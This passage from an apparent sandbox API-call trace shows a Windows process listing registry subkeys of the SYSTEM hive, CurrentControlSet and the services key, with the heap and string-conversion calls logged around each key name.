cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0253.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0253.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.233] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0253.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1e38, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0253.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.233] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0253.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0253.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1cd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0253.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.233] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0253.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0253.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.234] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0253.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0253.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.234] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0253.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0253.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.234] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0253.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0253.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.234] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0253.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0253.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.235] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0253.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0253.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.235] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0253.235] RegCloseKey (hKey=0xc4) returned 0x0 [0253.235] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0253.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0253.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.235] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0253.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0253.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.236] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0253.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1e38, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0253.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.236] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0253.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0253.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.236] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0253.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0253.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.236] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0253.237] RegCloseKey (hKey=0x14c) returned 0x0 [0253.237] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0253.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0253.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.237] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0253.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0253.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1e38, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0253.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.237] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0253.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0253.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1cd0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0253.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.237] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0253.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0253.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1e38, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0253.238] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.238] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0253.238] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0253.238] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1cd0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0253.238] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.238] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0253.238] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0253.238] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1e38, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0253.238] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.238] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0253.238] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.238] WideCharToMultiByte (in: 